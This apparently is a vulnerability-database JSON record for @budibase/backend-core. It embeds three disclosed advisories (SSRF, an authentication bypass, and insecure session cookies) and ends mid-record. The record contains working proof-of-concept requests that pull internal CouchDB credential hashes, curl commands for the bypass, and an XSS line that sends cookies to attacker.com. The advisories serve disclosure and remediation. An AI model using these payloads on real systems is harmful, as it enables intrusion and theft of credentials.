{"url":"http://public2.vulnerablecode.io/api/packages/981130?format=json","purl":"pkg:npm/%40budibase/backend-core@2.4.12-alpha.6","type":"npm","namespace":"@budibase","name":"backend-core","version":"2.4.12-alpha.6","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"3.35.10","latest_non_vulnerable_version":"3.38.2","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/18125?format=json","vulnerability_id":"VCID-9je9-ajmf-z3b6","summary":"Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist\n## 1. Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration |\n| **Product** | Budibase |\n| **Version** | 3.30.6 (latest stable as of 2026-02-25) |\n| **Component** | REST Datasource Integration + Backend-Core Blacklist Module |\n| **Severity** | Critical |\n| **Attack Vector** | Network |\n| **Privileges Required** | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) |\n| **User Interaction** | None |\n| **Affected Deployments** | All self-hosted instances without explicit `BLACKLIST_IPS` configuration (believed to be the vast majority) |\n\n---\n\n## 2. Description\n\nA critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is **not set by default** in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction.\n\nThis allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.\n\nThe vulnerability is particularly severe because:\n1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data\n2. CouchDB credentials are embedded in the environment variables visible to the application container\n3. A successful exploit grants full read/write access to the entire Budibase data layer\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Blacklist Implementation\n\n**File**: `packages/backend-core/src/blacklist/blacklist.ts`\n\n```typescript\n// Line 23-37: Blacklist refresh reads from environment variable\nexport async function refreshBlacklist() {\n  const blacklist = env.BLACKLIST_IPS           // ← reads BLACKLIST_IPS\n  const list = blacklist?.split(\",\") || []       // ← empty array if unset\n  let final: string[] = []\n  for (let addr of list) {\n    // ... resolves domains to IPs\n  }\n  blackListArray = final                         // ← empty array\n}\n\n// Line 39-54: Blacklist check\nexport async function isBlacklisted(address: string): Promise<boolean> {\n  if (!blackListArray) {\n    await refreshBlacklist()\n  }\n  if (blackListArray?.length === 0) {\n    return false                                 // ← ALWAYS returns false when empty\n  }\n  // ... rest of check never executes\n}\n```\n\n**Problem**: When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL.\n\n### 3.2 Default Configuration Missing BLACKLIST_IPS\n\n**File**: `hosting/.env` (official Docker Compose deployment template)\n\n```env\nMAIN_PORT=10000\nAPI_ENCRYPTION_KEY=testsecret\nJWT_SECRET=testsecret\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nCOUCH_DB_PASSWORD=budibase\nCOUCH_DB_USER=budibase\nREDIS_PASSWORD=budibase\nINTERNAL_API_KEY=budibase\n# ... (19 other variables)\n# BLACKLIST_IPS is NOT present\n```\n\nNo default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.\n\n### 3.3 REST Integration Blacklist Check\n\n**File**: `packages/server/src/integrations/rest.ts`\n\n```typescript\n// Line 684-686: Blacklist check before fetch\nconst url = this.getUrl(path, queryString, pagination, paginationValues)\nif (await blacklist.isBlacklisted(url)) {     // ← always false\n  throw new Error(\"Cannot connect to URL.\")   // ← never reached\n}\n// Line 708:\nresponse = await fetch(url, input)             // ← unrestricted fetch\n```\n\n### 3.4 Authorization Model\n\n| Operation | Endpoint | Required Permission |\n|-----------|----------|-------------------|\n| Create datasource | `POST /api/datasources` | `BUILDER` (app-level) |\n| Create query | `POST /api/queries` | `BUILDER` (app-level) |\n| Execute query | `POST /api/v2/queries/:id` | `QUERY WRITE` (can be granted to any app user) |\n\n**Route definitions**:\n- `packages/server/src/api/routes/datasource.ts:19` → `builderRoutes`\n- `packages/server/src/api/routes/query.ts:33` → `builderRoutes` (create)\n- `packages/server/src/api/routes/query.ts:55-66` → `writeRoutes` with `PermissionType.QUERY, PermissionLevel.WRITE` (execute)\n\n**Key insight**: The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.\n\n---\n\n## 4. Impact Analysis\n\n### 4.1 Confidentiality — Critical\n\nAn attacker can read:\n- **All CouchDB databases** (`/_all_dbs`)\n- **User credentials** including bcrypt password hashes, email addresses (`/global-db/_all_docs?include_docs=true`)\n- **Platform configuration** including encryption keys, JWT secrets\n- **All application data** across every app in the instance\n- **Internal service metadata** (MinIO storage, Redis)\n\n### 4.2 Integrity — High\n\nThrough CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can:\n- **Modify user records** to escalate privileges\n- **Create new admin accounts** directly in CouchDB\n- **Alter application data** in any app's database\n- **Delete databases** causing data loss\n\n### 4.3 Availability — Medium\n\n- **Resource exhaustion** by making the server proxy large responses from internal services\n- **Database destruction** via CouchDB DELETE operations\n- **Service disruption** by modifying critical configuration documents\n\n### 4.4 Scope Change\n\nThe vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to:\n- CouchDB (database layer)\n- MinIO (storage layer)\n- Redis (cache/session layer)\n- Any other service accessible from the Docker network\n\n---\n\n## 5. Proof of Concept\n\n### 5.1 Environment Setup\n\n```bash\ncd hosting/\ndocker compose up -d\n# Wait for services to start\n# Create admin account via POST /api/global/users/init\n# Login to obtain session cookie\n```\n\n**Tested on**: Budibase v3.30.6, Docker Compose deployment with default `hosting/.env`\n\n### 5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB\n\n```http\nPOST /api/datasources HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\nCookie: budibase:auth=<session_token>\nx-budibase-app-id: <app_id>\n\n{\n  \"datasource\": {\n    \"name\": \"Internal CouchDB\",\n    \"source\": \"REST\",\n    \"type\": \"datasource\",\n    \"config\": {\n      \"url\": \"http://couchdb-service:5984\",\n      \"defaultHeaders\": {}\n    }\n  }\n}\n```\n\n**Response** (201 — datasource created successfully):\n```json\n{\n  \"datasource\": {\n    \"_id\": \"datasource_4530e34a8b2e423f8f8eb53e2b2cefc6\",\n    \"name\": \"Internal CouchDB\",\n    \"source\": \"REST\",\n    \"config\": { \"url\": \"http://couchdb-service:5984\" }\n  }\n}\n```\n\nNo warning, no validation error — an internal hostname is accepted without restriction.\n\n### 5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)\n\nCreate and execute a query to `GET /`:\n\n```http\nPOST /api/v2/queries/<query_id> HTTP/1.1\n```\n\n**Response** — Internal CouchDB data returned to the attacker:\n```json\n{\n  \"data\": [{\n    \"couchdb\": \"Welcome\",\n    \"version\": \"3.3.3\",\n    \"git_sha\": \"40afbcfc7\",\n    \"uuid\": \"9cd97b58e2cef72e730a83247c377d2b\",\n    \"features\": [\"search\",\"access-ready\",\"partitioned\",\n                 \"pluggable-storage-engines\",\"reshard\",\"scheduler\"],\n    \"vendor\": {\"name\": \"The Apache Software Foundation\"}\n  }],\n  \"code\": 200,\n  \"time\": \"44ms\"\n}\n```\n\n### 5.4 Step 3 — Enumerate All Databases\n\nQuery: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`)\n\n```json\n{\n  \"data\": [\n    {\"value\": \"_replicator\"},\n    {\"value\": \"_users\"},\n    {\"value\": \"app_dev_3eeb8d7949074250ae62f206ad0b61a5\"},\n    {\"value\": \"app_dev_5135f7f368bc4701a7f163baaf22f1b7\"},\n    {\"value\": \"global-db\"},\n    {\"value\": \"global-info\"}\n  ]\n}\n```\n\n### 5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets\n\nQuery: `GET /global-db/_all_docs?include_docs=true&limit=20`\nHeaders: `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` (budibase:budibase)\n\n**Response** — Full user record with bcrypt hash:\n```json\n{\n  \"data\": [{\n    \"total_rows\": 4,\n    \"rows\": [\n      {\n        \"id\": \"config_settings\",\n        \"doc\": {\n          \"_id\": \"config_settings\",\n          \"type\": \"settings\",\n          \"config\": {\n            \"platformUrl\": \"http://localhost:10000\",\n            \"uniqueTenantId\": \"23ba9844703049778d75372e720c7169_default\"\n          }\n        }\n      },\n      {\n        \"id\": \"us_09c5f0a89b7f40c19db863e1aaaf90fd\",\n        \"doc\": {\n          \"_id\": \"us_09c5f0a89b7f40c19db863e1aaaf90fd\",\n          \"email\": \"admin@test.com\",\n          \"password\": \"$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK\",\n          \"builder\": {\"global\": true},\n          \"admin\": {\"global\": true},\n          \"tenantId\": \"default\",\n          \"status\": \"active\"\n        }\n      },\n      {\n        \"id\": \"usage_quota\",\n        \"doc\": {\n          \"_id\": \"usage_quota\",\n          \"quotaReset\": \"2026-03-01T00:00:00.000Z\",\n          \"usageQuota\": {\"apps\": 2, \"users\": 1, \"creators\": 1}\n        }\n      }\n    ]\n  }]\n}\n```\n\n**Exfiltrated data includes**:\n- Admin email: `admin@test.com`\n- Bcrypt password hash: `$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK`\n- Role information: `builder.global: true`, `admin.global: true`\n- Tenant ID, platform URL, quota information\n\n### 5.6 Step 5 — Access Other Internal Services\n\n**MinIO (Object Storage)**:\n```\nDatasource URL: http://minio-service:9000\nResponse: {\"Code\":\"BadRequest\",\"Message\":\"An unsupported API call...\"}\nServer header: MinIO\n```\nConfirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.\n\n**Redis (Port Scanning)**:\n```\nDatasource URL: http://redis-service:6379\nResponse: \"fetch failed\" (Redis speaks non-HTTP protocol)\n```\nDifferent error from non-existent host → confirms service discovery capability.\n\n**Non-existent service**:\n```\nDatasource URL: http://nonexistent-service:12345\nResponse: \"fetch failed\"\n```\n\n### 5.7 Service Discovery Matrix\n\n| Target | URL | Response | Service Confirmed |\n|--------|-----|----------|-------------------|\n| CouchDB | `http://couchdb-service:5984/` | `{\"couchdb\":\"Welcome\",\"version\":\"3.3.3\"}` | Yes — full data access |\n| MinIO | `http://minio-service:9000/` | XML error with `Server: MinIO` header | Yes — storage access |\n| Redis | `http://redis-service:6379/` | `socket hang up` / `fetch failed` | Yes — port open |\n| Non-existent | `http://nonexistent:12345/` | `fetch failed` (ENOTFOUND) | No — different error |\n\nThis differential response enables internal network mapping.\n\n---\n\n## 6. Attack Scenarios\n\n### Scenario A: Builder User Steals All Credentials\n1. User has `Builder` role for one app\n2. Creates REST datasource → `http://couchdb-service:5984`\n3. Queries `global-db` to get all user records with password hashes\n4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT\n\n### Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)\n1. Attacker has `Creator` role (lower than Builder)\n2. Exploits CVE-2026-25040 to invite themselves as Admin\n3. Now has Builder access → exploits this SSRF\n4. Complete instance takeover\n\n### Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)\n1. On cloud-hosted instances, datasource URL: `http://169.254.169.254/latest/meta-data/`\n2. Retrieves IAM credentials, instance metadata\n3. Pivots to cloud infrastructure\n\n---\n\n## 7. Affected Code Paths\n\n```\nUser Request\n    │\n    ▼\nPOST /api/datasources                          [BUILDER permission]\n    │  packages/server/src/api/routes/datasource.ts:32\n    │  → No URL validation on datasource.config.url\n    ▼\nPOST /api/v2/queries/:queryId                  [QUERY WRITE permission]\n    │  packages/server/src/api/routes/query.ts:63\n    ▼\npackages/server/src/threads/query.ts\n    │  → Executes query via REST integration\n    ▼\npackages/server/src/integrations/rest.ts\n    │  Line 684: blacklist.isBlacklisted(url)   → returns false (empty list)\n    │  Line 708: fetch(url, input)              → unrestricted request\n    ▼\nInternal Service (CouchDB, MinIO, Redis, etc.)\n    │\n    ▼\nResponse returned to attacker via query results\n```\n\n---\n\n## 8. Recommended Fixes\n\n### Fix 1 (Critical): Add Default Private IP Blocklist\n\n```typescript\n// packages/backend-core/src/blacklist/blacklist.ts\n\nconst DEFAULT_BLOCKED_RANGES = [\n  \"127.0.0.0/8\",       // localhost\n  \"10.0.0.0/8\",        // RFC1918\n  \"172.16.0.0/12\",     // RFC1918\n  \"192.168.0.0/16\",    // RFC1918\n  \"169.254.0.0/16\",    // link-local / cloud metadata\n  \"0.0.0.0/8\",         // current network\n  \"::1/128\",           // IPv6 localhost\n  \"fc00::/7\",          // IPv6 private\n  \"fe80::/10\",         // IPv6 link-local\n]\n\nexport async function isBlacklisted(address: string): Promise<boolean> {\n  // Always check against default blocked ranges\n  // even when BLACKLIST_IPS is not configured\n  const ips = await resolveToIPs(address)\n  for (const ip of ips) {\n    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {\n      return true\n    }\n  }\n  // Then check user-configured blacklist\n  // ...existing logic...\n}\n```\n\n### Fix 2 (High): Validate Datasource URLs at Creation Time\n\n```typescript\n// packages/server/src/api/controllers/datasource.ts\n\nasync function save(ctx) {\n  const { config } = ctx.request.body.datasource\n  if (config?.url) {\n    if (await blacklist.isBlacklisted(config.url)) {\n      ctx.throw(400, \"Cannot create datasource targeting internal network\")\n    }\n  }\n  // ... existing logic\n}\n```\n\n### Fix 3 (Medium): Add DNS Rebinding Protection\n\nResolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.\n\n### Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect\n\nEnsure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31818","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02635","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31818"},{"reference_url":"https://github.com/Budibase/budibase","reference_id":"","reference_type":"","scores":[{"value":"9.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/Budibase/budibase"},{"reference_url":"https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732","reference_id":"","reference_type":"","scores":[{"value":"9.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T20:04:22Z/"}],"url":"https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732"},{"reference_url":"https://github.com/Budibase/budibase/pull/18236","reference_id":"","reference_type":"","scores":[{"value":"9.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T20:04:22Z/"}],"url":"https://github.com/Budibase/budibase/pull/18236"},{"reference_url":"https://github.com/Budibase/budibase/releases/tag/3.33.4","reference_id":"","reference_type":"","scores":[{"value":"9.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T20:04:22Z/"}],"url":"https://github.com/Budibase/budibase/releases/tag/3.33.4"},{"reference_url":"https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45","reference_id":"","reference_type":"","scores":[{"value":"9.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T20:04:22Z/"}],"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31818","reference_id":"","reference_type":"","scores":[{"value":"9.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31818"},{"reference_url":"https://github.com/advisories/GHSA-7r9j-r86q-7g45","reference_id":"GHSA-7r9j-r86q-7g45","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-7r9j-r86q-7g45"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/51538?format=json","purl":"pkg:npm/%40budibase/backend-core@3.33.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-dr5r-9vzb-43hv"},{"vulnerability":"VCID-j56f-aj6b-vbbg"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/backend-core@3.33.4"}],"aliases":["CVE-2026-31818","GHSA-7r9j-r86q-7g45"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-9je9-ajmf-z3b6"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/15602?format=json","vulnerability_id":"VCID-dr5r-9vzb-43hv","summary":"Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints\n### Summary\n\nThe `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL.\n\n### Details\n\n**Step 1 — Public endpoint patterns compiled without anchors**\n\n`packages/backend-core/src/middleware/matchers.ts`, line 26:\n\n```typescript\nreturn { regex: new RegExp(route), method, route }\n```\n\nNo `^` prefix, no `$` suffix. The regex matches anywhere in the test string.\n\n**Step 2 — Regex tested against full URL including query string**\n\n`packages/backend-core/src/middleware/matchers.ts`, line 32:\n\n```typescript\nconst urlMatch = regex.test(ctx.request.url)\n```\n\nKoa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string.\n\n**Step 3 — publicEndpoint flag set to true**\n\n`packages/backend-core/src/middleware/authenticated.ts`, lines 123-125:\n\n```typescript\nconst found = matches(ctx, noAuthOptions)\nif (found) {\n  publicEndpoint = true\n}\n```\n\n**Step 4 — Worker's global auth check skipped**\n\n`packages/worker/src/api/index.ts`, lines 160-162:\n\n```typescript\n.use((ctx, next) => {\n  if (ctx.publicEndpoint) {\n    return next()        // ← SKIPS the auth check below\n  }\n  if ((!ctx.isAuthenticated || ...) && !ctx.internal) {\n    ctx.throw(403, \"Unauthorized\")   // ← never reached\n  }\n})\n```\n\nWhen `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed.\n\n**Step 5 — Routes without per-route auth middleware are exposed**\n\n`loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23:\n\n```typescript\nexport const loggedInRoutes = endpointGroupList.group()   // no middleware\n```\n\nEndpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection.\n\n**Affected endpoints (no per-route auth — fully exposed):**\n- `POST /api/global/users/search` — search all users (emails, names, roles)\n- `GET /api/global/self` — get current user info\n- `GET /api/global/users/accountholder` — account holder lookup\n- `GET /api/global/template/definitions` — template definitions\n- `POST /api/global/license/refresh` — refresh license\n- `POST /api/global/event/publish` — publish events\n\n**Not affected (have secondary per-route auth that blocks undefined user):**\n- `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403\n- `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it\n\n### PoC\n\n```bash\n# Step 1: Confirm normal request is blocked\n$ curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application/json\" -d '{}' \\\n    \"https://budibase-instance/api/global/users/search\"\n403\n\n# Step 2: Bypass auth via query string injection\n$ curl -s -X POST -H \"Content-Type: application/json\" -d '{}' \\\n    \"https://budibase-instance/api/global/users/search?x=/api/system/status\"\n{\"data\":[{\"email\":\"admin@example.com\",\"admin\":{\"global\":true},...}],...}\n```\n\nWithout auth → 403. With `?x=/api/system/status` → returns all users.\n\nAny public endpoint pattern works as the bypass value:\n- `?x=/api/system/status`\n- `?x=/api/system/environment`\n- `?x=/api/global/configs/public`\n- `?x=/api/global/auth/default`\n\n### Impact\n\nAn unauthenticated attacker can:\n1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search`\n2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder`\n3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh`\n4. **Publish events** — inject events into the event system via `/api/global/event/publish`\n\nThe user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.\n\nNote: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed.\n\n### Suggested Fix\n\nTwo options (both should be applied):\n\n**Option A — Anchor the regex:**\n```typescript\n// matchers.ts line 26\nreturn { regex: new RegExp('^' + route + '(\\\\?|$)'), method, route }\n```\n\n**Option B — Use ctx.request.path instead of ctx.request.url:**\n```typescript\n// matchers.ts line 32\nconst urlMatch = regex.test(ctx.request.path)  // excludes query string\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41428","reference_id":"","reference_type":"","scores":[{"value":"0.00076","scoring_system":"epss","scoring_elements":"0.22905","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41428"},{"reference_url":"https://github.com/Budibase/budibase","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/Budibase/budibase"},{"reference_url":"https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-24T20:00:28Z/"}],"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41428","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41428"},{"reference_url":"https://github.com/advisories/GHSA-8783-3wgf-jggf","reference_id":"GHSA-8783-3wgf-jggf","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-8783-3wgf-jggf"}],"fixed_packages":[],"aliases":["CVE-2026-41428","GHSA-8783-3wgf-jggf"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-dr5r-9vzb-43hv"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/18247?format=json","vulnerability_id":"VCID-j56f-aj6b-vbbg","summary":"Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover\n### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n  expires: MAX_VALID_DATE,\n  path: \"/\",\n  httpOnly: false,     // ← JavaScript can read the session JWT\n  overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n  config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` → should be `true` (prevent JS access)\n- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker's XSS payload — steals session and sends to attacker server\nnew Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `<script>` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42239","reference_id":"","reference_type":"","scores":[{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.08631","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42239"},{"reference_url":"https://github.com/Budibase/budibase","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/Budibase/budibase"},{"reference_url":"https://github.com/Budibase/budibase/releases/tag/3.35.10","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T19:39:21Z/"}],"url":"https://github.com/Budibase/budibase/releases/tag/3.35.10"},{"reference_url":"https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T19:39:21Z/"}],"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42239","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42239"},{"reference_url":"https://github.com/advisories/GHSA-4f9j-vr4p-642r","reference_id":"GHSA-4f9j-vr4p-642r","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-4f9j-vr4p-642r"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/51702?format=json","purl":"pkg:npm/%40budibase/backend-core@3.35.10","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":